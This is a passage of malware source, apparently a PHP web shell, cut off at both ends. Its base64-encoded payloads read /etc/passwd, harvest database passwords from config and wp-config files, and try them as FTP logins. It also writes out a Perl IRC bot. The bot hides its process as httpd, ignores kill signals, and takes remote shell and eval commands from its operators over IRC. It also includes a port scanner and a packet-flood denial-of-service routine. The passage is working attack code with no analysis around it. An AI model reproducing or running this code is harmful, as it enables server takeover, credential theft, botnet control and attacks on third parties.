ppbmRleGZvcm0uaW5kZXgudmFsdWU9aW5kZXhmb3JtLmluZGV4LnZhbHVlICsgIjxpbWcgc3JjPSciK1grIic+PC9pbWc+IjsNCg0KfQ0KZnVuY3Rpb24gYnIoKXsNCmluZGV4Zm9ybS5pbmRleC52YWx1ZT1pbmRleGZvcm0uaW5kZXgudmFsdWUgKyAiPGJyPiI7DQoNCn0NCjwvc2NyaXB0Pg0KPHRhYmxlIGJvcmRlcj0iMSIgYm9yZGVyY29sb3I9IiMwMDgwMDAiIGJvcmRlcmNvbG9yZGFyaz0iIzAwODAwMCINCmJvcmRlcmNvbG9ybGlnaHQ9IiMwMDgwMDAiPjx0aD48YSBvbmNsaWNrPSdyZXR1cm4gY2VudGVyKCknPkNlbnRlcjwvYT4gfHx8IDxhIG9uY2xpY2s9J3JldHVybiBsZWZ0KCknPkxlZnQ8L2E+IHx8fCA8YSBvbmNsaWNrPSdyZXR1cm4gcmlnaHQoKSc+cmlnaHQ8L2E+IHx8fCA8YSBvbmNsaWNrPSdyZXR1cm4gYigpJz5Cb2xkPC9hPiB8fHwgPGEgb25jbGljaz0ncmV0dXJuIHUoKSc+VW5kZXJMaW5lPC9hPiB8fHwgPGEgb25jbGljaz0ncmV0dXJuIGkoKSc+SXRhbGljPC9hPiB8fHwgPGEgb25jbGljaz0ncmV0dXJuIGJyKCknPk5ld0xpbmU8L2E+IHx8fCA8YSBvbmNsaWNrPSdyZXR1cm4gY29sb3VyKCknPkNvbG91cjwvYT4gfHx8IDxhIG9uY2xpY2s9J3JldHVybiBtYXIoKSc+TWFycXVlZSB8fHwgPGEgb25jbGljaz0ncmV0dXJuIGltZygpJz5QaWN0dXJlPC9hPiB8fHwgPGEgb25jbGljaz0ncmV0dXJuIGxpbmsoKSc+TGluazwvYT48L2E+PC90aD48dHI+PFREPg0KPGNlbnRlcj48Zm9ybSBuYW1lPSJpbmRleGZvcm0iIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPjx0ZXh0YXJlYSBuYW1lPSdpbmRleCcgcm93cz0nMTQnIGNvbHM9Jzg2Jz48L3RleHRhcmVhPjwvcD4NCjwvZm9ybT48L2Zvcm0+PC9jZW50ZXI+DQo8L1REPjwvdHI+PHRyPjx0ZD5Db3B5IFRoZSBDb2RlIGFmdGVyIEZpbmlzaGluZyB5b3VyIGluZGV4PC90ZD48L3RyPjwvdGFibGU+DQo8Pw0KfQ0KPz4NCjxociBjb2xvcj0iIzAwRkYwMCIgLz4NCjx0YWJsZSBib3JkZXI9IjEiIGJnY29sb3I9IiMwMDAwMDAiIGJvcmRlcmNvbG9yPSJsaW1lIg0KYm9yZGVyY29sb3JkYXJrPSJsaW1lIiBib3JkZXJjb2xvcmxpZ2h0PSJsaW1lIj48dHI+PHRkPjxhIGhyZWY9Ij8iPk1haW4gU2hlbGw8L2E+PC90ZD48dGQ+PGEgaHJlZj0iP2FjdD11c2VycyI+TGlzdCBVc2VyczwvYT48L3RkPjx0ZD48YSBocmVmPSI/YWN0PWluZGV4Ij5JbmRleCBNYWtlcjwvYT48L3RkPjx0ZD48YSBocmVmPSI/YWN0PWNvbmZpZyI+UmVhZENvbmZpZzwvYT48L3RkPjwvdHI+PC90YWJsZT4NCjxwIGFsaWduPSJjZW50ZXIiPnd3dy5lZ3lzcGlkZXIuZXU8L3A+DQo8RElWIGlkPSJuIiBhbGlnbj0iY2VudGVyIj4NCiAgPFRBQkxFIGJvcmRlckNvbG9yPSIjMTExMTExIiBjZWxsU3BhY2luZz0iMCIgY2VsbFBhZGRpbmc9IjAiIHdpZHRoPSIxMDAlIiBib3JkZXI9IjEiPg0KICAgIDxUQk9EWT4NCiAgICAgIDxUUj4NCiAgICAgICAgPFREIHdpZHRoPSIxMDAlIj48cCBhbGlnbj0iY2VudGVyIj48U1RST05HPm8tLS1bIEVnWV9TcElkRXIgfCB8IDxBIGVneV9zcGlkZXJAaG90bWFpbC5jb20+ZWd5X3NwaWRlckBob3RtYWlsLmNvbTwvQT4gICBdLS0tbzwvU1RST05HPjwvcD48L1REPg0KICAgICAgPC9UUj4NCiAgICA8L1RCT0RZPg0KICA8L1RBQkxFPg0KPC9ESVY+DQo8L2NlbnRlcj4gDQogPC9ib2R5Pg0KPC9odG1sPg="; $egy_cp="PD9waHAgDQplY2hvICI8aHRtbD4iOyANCmVjaG8gIjx0aXRsZT5FZ1lfU3BJZEVyIFNoRWxMIDwvdGl0bGU+PFNUWUxFPg0KDQpCT0RZDQogew0KICAgICAgICBTQ1JPTExCQVItRkFDRS1DT0xPUjogIzAwMDAwMDsgU0NST0xMQkFSLUhJR0hMSUdIVC1DT0xPUjogIzAwMDAwMDsgU0NST0xMQkFSLVNIQURPVy1DT0xPUjogIzAwMDAwMDsgQ09MT1I6ICM2NjY2NjY7IFNDUk9MTEJBUi0zRExJR0hULUNPTE9SOiAjNzI2NDU2OyBTQ1JPTExCQVItQVJST1ctQ09MT1I6ICM3MjY0NTY7IFNDUk9MTEJBUi1UUkFDSy1DT0xPUjogIzI5MjkyOTsgRk9OVC1GQU1JTFk6IFZlcmRhbmE7IFNDUk9MTEJBUi1EQVJLU0hBRE9XLUNPTE9SOiAjNzI2NDU2DQp9DQoNCi50ZDEgew0KQk9SREVSOiAxOw0KZm9udDogN3B0IHRhaG9tYTsNCmNvbG9yOiAjZmZmZmZmOw0KfQ0KDQoudHIxIHsNCkJPUkRFUjogMTsNCmNvbG9yOiAjMzMzMzMzOw0KfQ0KdGFibGUgew0KQk9SREVSOiAgI2VlZWVlZSAgb3V0c2V0Ow0KQkFDS0dST1VORC1DT0xPUjogIzAwMDAwMDsNCmNvbG9yOiAjMzMzMzMzOw0KfQ0KdGV4dGFyZWEgew0KQk9SREVSLVJJR0hUOiAgI2ZmZmZmZiAxIHNvbGlkOw0KQk9SREVSLVRPUDogICAgIzk5OTk5OSAxIHNvbGlkOw0KQk9SREVSLUxFRlQ6ICAgIzk5OTk5OSAxIHNvbGlkOw0KQk9SREVSLUJPVFRPTTogI2ZmZmZmZiAxIHNvbGlkOw0KQkFDS0dST1VORC1DT0xPUjogIzMzMzMzMzsNCmZvbnQ6IEZpeGVkc3lzIGJvbGQ7DQpjb2xvcjogI2ZmZmZmZjsNCn0NCkJPRFkgew0KbWFyZ2luOiAxOw0KY29sb3I6ICMzMzMzMzM7DQpiYWNrZ3JvdW5kLWNvbG9yOiAjMDAwMDAwOw0KfQ0KQTpsaW5rIHtDT0xPUjpyZWQ7IFRFWFQtREVDT1JBVElPTjogbm9uZX0NCkE6dmlzaXRlZCB7IENPTE9SOnJlZDsgVEVYVC1ERUNPUkFUSU9OOiBub25lfQ0KQTphY3RpdmUge0NPTE9SOnJlZDsgVEVYVC1ERUNPUkFUSU9OOiBub25lfQ0KQTpob3ZlciB7Y29sb3I6Ymx1ZTtURVhULURFQ09SQVRJT046IG5vbmV9DQoNCjwvU1RZTEU+PGJvZHk+IjsgDQoNCnNldF90aW1lX2xpbWl0KDApOyANCiMjIyMjIyMjIyMjIyMjIyMjIyANCkAkcGFzc3dkPWZvcGVuKCcvZXRjL3Bhc3N3ZCcsJ3InKTsgDQppZiAoISRwYXNzd2QpIHsgDQogIGVjaG8gIlstXSBFcnJvciA6IGNvdWRuJ3QgcmVhZCAvZXRjL3Bhc3N3ZCI7IA0KICBleGl0OyANCn0gDQokcGF0aF90b19wdWJsaWM9YXJyYXkoKTsgDQokdXNlcnM9YXJyYXkoKTsgDQokcGF0aHRvY29uZj1hcnJheSgpOyANCiRpPTA7IA0KDQp3aGlsZSghZmVvZigkcGFzc3dkKSkgeyANCiRzdHI9ZmdldHMoJHBhc3N3ZCk7IA0KaWYgKCRpPjM1KSB7IA0KICAgJHBvcz1zdHJwb3MoJHN0ciwiOiIpOyANCiAgICR1c2VybmFtZT1zdWJzdHIoJHN0ciwwLCRwb3MpOyANCiAgICRkaXJ6PSIvaG9tZS8kdXNlcm5hbWUvcHVibGljX2h0bWwvIjsgDQogICBpZiAoKCR1c2VybmFtZSE9IiIpKSB7IA0KICAgICAgIGlmIChpc19yZWFkYWJsZSgkZGlyeikpIHsgDQogICAgICAgICAgIGFycmF5X3B1c2goJHVzZXJzLCR1c2VybmFtZSk7IA0KICAgICAgICAgICBhcnJheV9wdXNoKCRwYXRoX3RvX3B1YmxpYywkZGlyeik7IA0KICAgICAgIH0gDQogICB9IA0KfSANCiRpKys7IA0KfSANCiMjIyMjIyMjIyMjIyMjIyMjIyMgDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMgDQplY2hvICI8YnI+PGJyPiI7IA0KZWNobyAiPHRleHRhcmVhIG5hbWU9J21haW5fd2luZG93JyBjb2xzPTEwMCByb3dzPTIwPiI7IA0KDQplY2hvICJbK10gRm91bmRlZCAiLnNpemVvZigkdXNlcnMpLiIgZW50cnlzIGluIC9ldGMvcGFzc3dkXG4iOyANCmVjaG8gIlsrXSBGb3VuZGVkICIuc2l6ZW9mKCRwYXRoX3RvX3B1YmxpYykuIiByZWFkYWJsZSBwdWJsaWNfaHRtbCBkaXJlY3Rvcmllc1xuIjsgDQoNCmVjaG8gIlt+XSBTZWFyY2hpbmcgZm9yIHBhc3N3b3JkcyBpbiBjb25maWcuKiBmaWxlcy4uLlxuXG4iOyANCmZvcmVhY2ggKCR1c2VycyBhcyAkdXNlcikgeyANCiAgICAgICAkcGF0aD0iL2hvbWUvJHVzZXIvcHVibGljX2h0bWwvIjsgDQogICAgICAgcmVhZF9kaXIoJHBhdGgsJHVzZXIpOyANCn0gDQoNCmVjaG8gIlxuWytdIERvbmVcbiI7IA0KDQpmdW5jdGlvbiByZWFkX2RpcigkcGF0aCwkdXNlcm5hbWUpIHsgDQogICBpZiAoJGhhbmRsZSA9IG9wZW5kaXIoJHBhdGgpKSB7IA0KICAgICAgIHdoaWxlIChmYWxzZSAhPT0gKCRmaWxlID0gcmVhZGRpcigkaGFuZGxlKSkpIHsgDQogICAgICAgICAgICAgJGZwYXRoPSIkcGF0aCRmaWxlIjsgDQogICAgICAgICAgICAgaWYgKCgkZmlsZSE9Jy4nKSBhbmQgKCRmaWxlIT0nLi4nKSkgeyANCiAgICAgICAgICAgICAgICBpZiAoaXNfcmVhZGFibGUoJGZwYXRoKSkgeyANCiAgICAgICAgICAgICAgICAgICAkZHI9IiRmcGF0aC8iOyANCiAgICAgICAgICAgICAgICAgICBpZiAoaXNfZGlyKCRkcikpIHsgDQogICAgICAgICAgICAgICAgICAgICAgcmVhZF9kaXIoJGRyLCR1c2VybmFtZSk7IA0KICAgICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgICAgZWxzZSB7IA0KICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCgkZmlsZT09J2NvbmZpZy5waHAnKSBvciAoJGZpbGU9PSdjb25maWcuaW5jLnBocCcpIG9yICgkZmlsZT09J2RiLmluYy5waHAnKSBvciAoJGZpbGU9PSdjb25uZWN0LnBocCcpIG9yICgkZmlsZT09J3dwLWNvbmZpZy5waHAnKSBvciAoJGZpbGU9PSd2YXIucGhwJykgb3IgKCRmaWxlPT0nY29uZmlndXJlLnBocCcpIG9yICgkZmlsZT09J2RiLnBocCcpIG9yICgkZmlsZT09J2RiX2Nvbm5lY3QucGhwJykpIHsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAkcGFzcz1nZXRfcGFzcygkZnBhdGgpOyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkcGFzcyE9JycpIHsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICJbK10gJGZwYXRoXG4kcGFzc1xuIjsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmdHBfY2hlY2soJHVzZXJuYW1lLCRwYXNzKTsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgfSANCiAgICAgICB9IA0KICAgfSANCn0gDQoNCmZ1bmN0aW9uIGdldF9wYXNzKCRsaW5rKSB7IA0KICAgQCRjb25maWc9Zm9wZW4oJGxpbmssJ3InKTsgDQogICB3aGlsZSghZmVvZigkY29uZmlnKSkgeyANCiAgICAgICAkbGluZT1mZ2V0cygkY29uZmlnKTsgDQogICAgICAgaWYgKHN0cnN0cigkbGluZSwncGFzcycpIG9yIHN0cnN0cigkbGluZSwncGFzc3dvcmQnKSBvciBzdHJzdHIoJGxpbmUsJ3Bhc3N3ZCcpKSB7IA0KICAgICAgICAgICBpZiAoc3RycnBvcygkbGluZSwnIicpKSANCiAgICAgICAgICAgICAgJHBhc3M9c3Vic3RyKCRsaW5lLChzdHJwb3MoJGxpbmUsJz0nKSszKSwoc3RycnBvcygkbGluZSwnIicpLShzdHJwb3MoJGxpbmUsJz0nKSszKSkpOyANCiAgICAgICAgICAgZWxzZSANCiAgICAgICAgICAgICAgJHBhc3M9c3Vic3RyKCRsaW5lLChzdHJwb3MoJGxpbmUsJz0nKSszKSwoc3RycnBvcygkbGluZSwiJyIpLShzdHJwb3MoJGxpbmUsJz0nKSszKSkpOyANCiAgICAgICAgICAgcmV0dXJuICRwYXNzOyANCiAgICAgICB9IA0KICAgfSANCn0gDQoNCmZ1bmN0aW9uIGZ0cF9jaGVjaygkbG9naW4sJHBhc3MpIHsgDQogICAgQCRmdHA9ZnRwX2Nvbm5lY3QoJzEyNy4wLjAuMScpOyANCiAgICBpZiAoJGZ0cCkgeyANCiAgICAgICBAJHJlcz1mdHBfbG9naW4oJGZ0cCwkbG9naW4sJHBhc3MpOyANCiAgICAgICBpZiAoJHJlcykgeyANCiAgICAgICAgICBlY2hvICdbRlRQXSAnLiRsb2dpbi4nOicuJHBhc3MuIiAgU3VjY2Vzc1xuIjsgDQogICAgICAgfSANCiAgICAgICBlbHNlIGZ0cF9xdWl0KCRmdHApOyANCiAgICB9IA0KfSANCg0KZWNobyAiPC90ZXh0YXJlYT48YnI+IjsgDQoNCmVjaG8gIjwvYm9keT48L2h0bWw+IjsgDQo/Pg="; if(!empty($_POST['ircadmin']) AND !empty($_POST['ircserver']) AND !empty($_POST['ircchanal']) AND !empty($_POST['ircname'])) { $ircadmin=$_POST['ircadmin']; $ircserver=$_POST['ircserver']; $ircchan=$_POST['ircchanal']; $irclabel=$_POST['ircname']; echo "<title>OverclockiX Shell-Connector || Connecting to $ircserver<title>"; echo "<body bgcolor=\"black\" text=\"green\">"; echo "Now Connecting to <b><font color=\"red\">$ircserver</font></b> in <b><font color=\"yellow\">$ircchan</font></b> Andministrators: <b><font color=\"yellow\">$ircadmin</font></b> Botname is <b><font color=\"yellow\">$irclabel</font></b>"; echo "<p>Dont Forget to Delete Loader.pl in /tmp</p>"; $file="
################ CONFIGURACAO #################################################################
my \$processo = '/usr/local/apache/bin/httpd -DSSL'; # Nome do processo que vai aparece no ps #
#----------------------------------------------################################################
my \$linas_max='48'; # Evita o flood :) depois de X linhas #
#----------------------------------------------################################################
my \$sleep='4'; # ele dorme X segundos #
##################### IRC #####################################################################
my @adms=(\"$ircadmin\"); # Nick do administrador #
#----------------------------------------------################################################
my @canais=(\"$ircchan\"); # Caso haja senha (\"#canal :senha\") #
#----------------------------------------------################################################
my \$nick='$irclabel'; # Nick do bot. Caso esteja em uso vai aparecer #
                                               # aparecer com numero radonamico no final #
#----------------------------------------------################################################
my \$ircname = 'Linux'; # User ID #
#----------------------------------------------################################################
chop (my \$realname = `uname -a`); # Full Name #
#----------------------------------------------################################################
\$servidor='$ircserver' unless \$servidor; # Servidor de irc que vai ser usado #
                                               # caso n?o seja especificado no argumento #
#----------------------------------------------################################################
my \$porta='6667'; # Porta do servidor de irc #
################ ACESSO A SHELL ###############################################################
my \$secv = 1; # 1/0 pra habilita/desabilita acesso a shell #
###############################################################################################
my \$VERSAO = '0.2';
\$SIG{'INT'} = 'IGNORE';
\$SIG{'HUP'} = 'IGNORE';
\$SIG{'TERM'} = 'IGNORE';
\$SIG{'CHLD'} = 'IGNORE';
\$SIG{'PS'} = 'IGNORE';
\$SIG{'STOP'} = 'IGNORE';
use IO::Socket;
use Socket;
use IO::Select;
chdir(\"/\");
\$servidor=\"\$ARGV[0]\" if \$ARGV[0];
$0=\"\$processo\".\"\0\"x16;;
my \$pid=fork;
exit if \$pid;
die \"Problema com o fork: $!\" unless defined(\$pid);
my \$dcc_sel = new IO::Select->new();
#############################
# B0tchZ na veia ehehe :P #
#############################

\$sel_cliente = IO::Select->new();
sub sendraw {
  if ($#_ == '1') {
    my \$socket = \$_[0];
    print \$socket \"\$_[1]\\n\";
  } else {
      print \$IRC_cur_socket \"\$_[0]\\n\";
  }
}
#################################
sub conectar {
   my \$meunick = \$_[0];
   my \$servidor_con = \$_[1];
   my \$porta_con = \$_[2];

   my \$IRC_socket = IO::Socket::INET->new(Proto=>\"tcp\", PeerAddr=>\"\$servidor_con\", PeerPort=>\$porta_con) or return(1);
   if (defined(\$IRC_socket)) {
     \$IRC_cur_socket = \$IRC_socket;

     \$IRC_socket->autoflush(1);
     \$sel_cliente->add(\$IRC_socket);

     \$irc_servers{\$IRC_cur_socket}{'host'} = \"\$servidor_con\";
     \$irc_servers{\$IRC_cur_socket}{'porta'} = \"\$porta_con\";
     \$irc_servers{\$IRC_cur_socket}{'nick'} = \$meunick;
     \$irc_servers{\$IRC_cur_socket}{'meuip'} = \$IRC_socket->sockhost;
     nick(\"\$meunick\");
     sendraw(\"USER \$ircname \".\$IRC_socket->sockhost.\" \$servidor_con :\$realname\");
     sleep 1;
   }
} #####################

my \$line_temp;
while( 1 ) {
   while (!(keys(%irc_servers))) { conectar(\"\$nick\", \"\$servidor\", \"\$porta\"); }
   delete(\$irc_servers{''}) if (defined(\$irc_servers{''}));
   &DCC::connections;
   my @ready = \$sel_cliente->can_read(0);
   next unless(@ready);
   foreach \$fh (@ready) {
     \$IRC_cur_socket = \$fh;
     \$meunick = \$irc_servers{\$IRC_cur_socket}{'nick'};
     \$nread = sysread(\$fh, \$msg, 4096);
     if (\$nread == 0) {
        \$sel_cliente->remove(\$fh);
        \$fh->close;
        delete(\$irc_servers{\$fh});
     }
     @lines = split (/\\n/, \$msg);

     for(my \$c=0; \$c<= $#lines; \$c++) {
       \$line = \$lines[\$c];
       \$line=\$line_temp.\$line if (\$line_temp);
       \$line_temp='';
       \$line =~ s/\\r$//;
       unless (\$c == $#lines) {
         parse(\"\$line\");
       } else {
           if ($#lines == 0) {
             parse(\"\$line\");
           } elsif (\$lines[\$c] =~ /\\r$/) {
               parse(\"\$line\");
           } elsif (\$line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
               parse(\"\$line\");
           } else {
               \$line_temp = \$line;
           }
       }
      }
   }
}

#########################


sub parse {
   my \$servarg = shift;
   if (\$servarg =~ /^PING \:(.*)/) {
     sendraw(\"PONG :$1\");
   } elsif (\$servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
       my \$pn=$1; my \$onde = $4; my \$args = $5;
       if (\$args =~ /^\\001VERSION\\001$/) {
         notice(\"\$pn\", \"\\001VERSION ShellBOT-\$VERSAO por 0ldW0lf\\001\");
       }
       if (grep {\$_ =~ /^\Q\$pn\E$/i } @adms) {
         if (\$onde eq \"\$meunick\"){
           shell(\"\$pn\", \"\$args\");
         }
         if (\$args =~ /^(\Q\$meunick\E|\!atrix)\s+(.*)/ ) {
            my \$natrix = $1;
            my \$arg = $2;
            if (\$arg =~ /^\!(.*)/) {
              ircase(\"\$pn\",\"\$onde\",\"\$1\") unless (\$natrix eq \"!atrix\" and \$arg =~ /^\!nick/);
            } elsif (\$arg =~ /^\@(.*)/) {
                \$ondep = \$onde;
                \$ondep = \$pn if \$onde eq \$meunick;
                bfunc(\"\$ondep\",\"$1\");
            } else {
                shell(\"\$onde\", \"\$arg\");
            }
         }
       }
   } elsif (\$servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
       if (lc($1) eq lc(\$meunick)) {
         \$meunick=$4;
         \$irc_servers{\$IRC_cur_socket}{'nick'} = \$meunick;
       }
   } elsif (\$servarg =~ m/^\:(.+?)\s+433/i) {
       nick(\"\$meunick\".int rand(9999));
   } elsif (\$servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
       \$meunick = $2;
       \$irc_servers{\$IRC_cur_socket}{'nick'} = \$meunick;
       \$irc_servers{\$IRC_cur_socket}{'nome'} = \"$1\";
       foreach my \$canal (@canais) {
         sendraw(\"JOIN \$canal\");
       }
   }
}
##########################

sub bfunc {
  my \$printl = \$_[0];
  my \$funcarg = \$_[1];
  if (my \$pid = fork) {
     waitpid(\$pid, 0);
  } else {
      if (fork) {
         exit;
       } else {
           if (\$funcarg =~ /^portscan (.*)/) {
             my \$hostip=\"$1\";
             my @portas=(\"21\",\"22\",\"23\",\"25\",\"53\",\"80\",\"110\",\"143\");
             my (@aberta, %porta_banner);
             foreach my \$porta (@portas) {
                my \$scansock = IO::Socket::INET->new(PeerAddr => \$hostip, PeerPort => \$porta, Proto => 'tcp', Timeout => 4);
                if (\$scansock) {
                   push (@aberta, \$porta);
                   \$scansock->close;
                }
             }

             if (@aberta) {
               sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :portas abertas: @aberta\");
             } else {
                 sendraw(\$IRC_cur_socket,\"PRIVMSG \$printl :Nenhuma porta aberta foi encontrada\");
             }
           }
           if (\$funcarg =~ /^pacota\s+(.*)\s+(\d+)\s+(\d+)/) {
             my (\$dtime, %pacotes) = attacker(\"$1\", \"$2\", \"$3\");
             \$dtime = 1 if \$dtime == 0;
             my %bytes;
             \$bytes{igmp} = $2 * \$pacotes{igmp};
             \$bytes{icmp} = $2 * \$pacotes{icmp};
             \$bytes{o} = $2 * \$pacotes{o};
             \$bytes{udp} = $2 * \$pacotes{udp};
             \$bytes{tcp} = $2 * \$pacotes{tcp};

             sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\\002 - Status GERAL -\\002\");
             sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\\002Tempo\\002: \$dtime\".\"s\");
             sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\\002Total pacotes\\002: \".(\$pacotes{udp} + \$pacotes{igmp} + \$pacotes{icmp} + \$pacotes{o}));
             sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\\002Total bytes\\002: \".(\$bytes{icmp} + \$bytes {igmp} + \$bytes{udp} + \$bytes{o}));
             sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\\002Media de envio\\002: \".int(((\$bytes{icmp}+\$bytes{igmp}+\$bytes{udp} + \$bytes{o})/1024)/\$dtime).\" kbps\");

           }
           exit;
       }
  }
}
##########################


sub ircase {
  my (\$kem, \$printl, \$case) = @_;


  if (\$case =~ /^join (.*)/) {
     j(\"$1\");
   }
   if (\$case =~ /^part (.*)/) {
      p(\"$1\");
   }
   if (\$case =~ /^rejoin\s+(.*)/) {
      my \$chan = $1;
      if (\$chan =~ /^(\d+) (.*)/) {
        for (my \$ca = 1; \$ca <= $1; \$ca++ ) {
          p(\"$2\");
          j(\"$2\");
        }
      } else {
          p(\"\$chan\");
          j(\"\$chan\");
      }
   }
   if (\$case =~ /^op/) {
      op(\"\$printl\", \"\$kem\") if \$case eq \"op\";
      my \$oarg = substr(\$case, 3);
      op(\"$1\", \"$2\") if (\$oarg =~ /(\S+)\s+(\S+)/);
   }
   if (\$case =~ /^deop/) {
      deop(\"\$printl\", \"\$kem\") if \$case eq \"deop\";
      my \$oarg = substr(\$case, 5);
      deop(\"$1\", \"$2\") if (\$oarg =~ /(\S+)\s+(\S+)/);
   }
   if (\$case =~ /^voice/) {
      voice(\"\$printl\", \"\$kem\") if \$case eq \"voice\";
      \$oarg = substr(\$case, 6);
      voice(\"$1\", \"$2\") if (\$oarg =~ /(\S+)\s+(\S+)/);
   }
   if (\$case =~ /^devoice/) {
      devoice(\"\$printl\", \"\$kem\") if \$case eq \"devoice\";
      \$oarg = substr(\$case, 8);
      devoice(\"$1\", \"$2\") if (\$oarg =~ /(\S+)\s+(\S+)/);
   }
   if (\$case =~ /^msg\s+(\S+) (.*)/) {
      msg(\"$1\", \"$2\");
   }
   if (\$case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
      for (my \$cf = 1; \$cf <= $1; \$cf++) {
        msg(\"$2\", \"$3\");
      }
   }
   if (\$case =~ /^ctcp\s+(\S+) (.*)/) {
      ctcp(\"$1\", \"$2\");
   }
   if (\$case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
      for (my \$cf = 1; \$cf <= $1; \$cf++) {
        ctcp(\"$2\", \"$3\");
      }
   }
   if (\$case =~ /^invite\s+(\S+) (.*)/) {
      invite(\"$1\", \"$2\");
   }
   if (\$case =~ /^nick (.*)/) {
      nick(\"$1\");
   }
   if (\$case =~ /^conecta\s+(\S+)\s+(\S+)/) {
       conectar(\"$2\", \"$1\", 6667);
   }
   if (\$case =~ /^send\s+(\S+)\s+(\S+)/) {
      DCC::SEND(\"$1\", \"$2\");
   }
   if (\$case =~ /^raw (.*)/) {
      sendraw(\"$1\");
   }
   if (\$case =~ /^eval (.*)/) {
     eval \"$1\";
   }
}
##########################

sub shell {
  return unless \$secv;
  my \$printl=\$_[0];
  my \$comando=\$_[1];
  if (\$comando =~ /cd (.*)/) {
    chdir(\"$1\") || msg(\"\$printl\", \"Dossier Makayench :D \");
    return;
  }
  elsif (\$pid = fork) {
     waitpid(\$pid, 0);
  } else {
      if (fork) {
         exit;
       } else {
           my @resp=`\$comando 2>&1 3>&1`;
           my \$c=0;
           foreach my \$linha (@resp) {
             \$c++;
             chop \$linha;
             sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\$linha\");
             if (\$c == \"\$linas_max\") {
               \$c=0;
               sleep \$sleep;
             }
           }
           exit;
       }
  }
}

#eu fiz um pacotadorzinhu e talz.. dai colokemo ele aki
sub attacker {
  my \$iaddr = inet_aton(\$_[0]);
  my \$msg = 'B' x \$_[1];
  my \$ftime = \$_[2];
  my \$cp = 0;
  my (%pacotes);
  \$pacotes{icmp} = \$pacotes{igmp} = \$pacotes{udp} = \$pacotes{o} = \$pacotes{tcp} = 0;

  socket(SOCK1, PF_INET, SOCK_RAW, 2) or \$cp++;
  socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or \$cp++;
  socket(SOCK3, PF_INET, SOCK_RAW, 1) or \$cp++;
  socket(SOCK4, PF_INET, SOCK_RAW, 6) or \$cp++;
  return(undef) if \$cp == 4;
  my \$itime = time;
  my (\$cur_time);
  while ( 1 ) {
     for (my \$porta = 1; \$porta <= 65535; \$porta++) {
       \$cur_time = time - \$itime;
       last if \$cur_time >= \$ftime;
       send(SOCK1, \$msg, 0, sockaddr_in(\$porta, \$iaddr)) and \$pacotes{igmp}++;
       send(SOCK2, \$msg, 0, sockaddr_in(\$porta, \$iaddr)) and \$pacotes{udp}++;
       send(SOCK3, \$msg, 0, sockaddr_in(\$porta, \$iaddr)) and \$pacotes{icmp}++;
       send(SOCK4, \$msg, 0, sockaddr_in(\$porta, \$iaddr)) and \$pacotes{tcp}++;

       # DoS ?? :P
       for (my \$pc = 3; \$pc <= 255;\$pc++) {
         next if \$pc == 6;
         \$cur_time = time - \$itime;
         last if \$cur_time >= \$ftime;
         socket(SOCK5, PF_INET, SOCK_RAW, \$pc) or next;
         send(SOCK5, \$msg, 0, sockaddr_in(\$porta, \$iaddr)) and \$pacotes{o}++;;
       }
     }
     last if \$cur_time >= \$ftime;
  }
  return(\$cur_time, %pacotes);
}

#############
# ALIASES #
#############

sub action {
   return unless $#_ == 1;
   sendraw(\"PRIVMSG \$_[0] :\\001ACTION \$_[1]\\001\");
}

sub ctcp {
   return unless $#_ == 1;
   sendraw(\"PRIVMSG \$_[0] :\\001\$_[1]\\001\");
}
sub msg {
   return unless $#_ == 1;
   sendraw(\"PRIVMSG \$_[0] :\$_[1]\");
}

sub notice {
   return unless $#_ == 1;
   sendraw(\"NOTICE \$_[0] :\$_[1]\");
}

sub op {
   return unless $#_ == 1;
   sendraw(\"MODE \$_[0] +o \$_[1]\");
}
sub deop {
   return unless $#_ == 1;
   sendraw(\"MODE \$_[0] -o \$_[1]\");
}
sub hop {
    return unless $#_ == 1;
   sendraw(\"MODE \$_[0] +h \$_[1]\");
}
sub dehop {
   return unless $#_ == 1;
   sendraw(\"MODE \$_[0] +h \$_[1]\");
}
sub voice {
   return unless $#_ == 1;
   sendraw(\"MODE \$_[0] +v \$_[1]\");
}
sub devoice {
   return unless $#_ == 1;
   sendraw(\"MODE \$_[0] -v \$_[1]\");
}
sub ban {
   return unless $#_ == 1;
   sendraw(\"MODE \$_[0] +b \$_[1]\");
}
sub unban {
   return unless $#_ == 1;
   sendraw(\"MODE \$_[0] -b \$_[1]\");
}
sub kick {
   return unless $#_ == 1;
   sendraw(\"KICK \$_[0] \$_[1] :\$_[2]\");
}

sub modo {
   return unless $#_ == 0;
   sendraw(\"MODE \$_[0] \$_[1]\");
}
sub mode { modo(@_); }

sub j { &join(@_); }
sub join {
   return unless $#_ == 0;
   sendraw(\"JOIN \$_[0]\");
}
sub p { part(@_); }
sub part {sendraw(\"PART \$_[0]\");}

sub nick {
  return unless $#_ == 0;
  sendraw(\"NICK \$_[0]\");
}

sub invite {
   return unless $#_ == 1;
   sendraw(\"INVITE \$_[1] \$_[0]\");
}
sub topico {
   return unless $#_ == 1;
   sendraw(\"TOPIC \$_[0] \$_[1]\");
}
sub topic { topico(@_); }

sub whois {
  return unless $#_ == 0;
  sendraw(\"WHOIS \$_[0]\");
}
sub who {
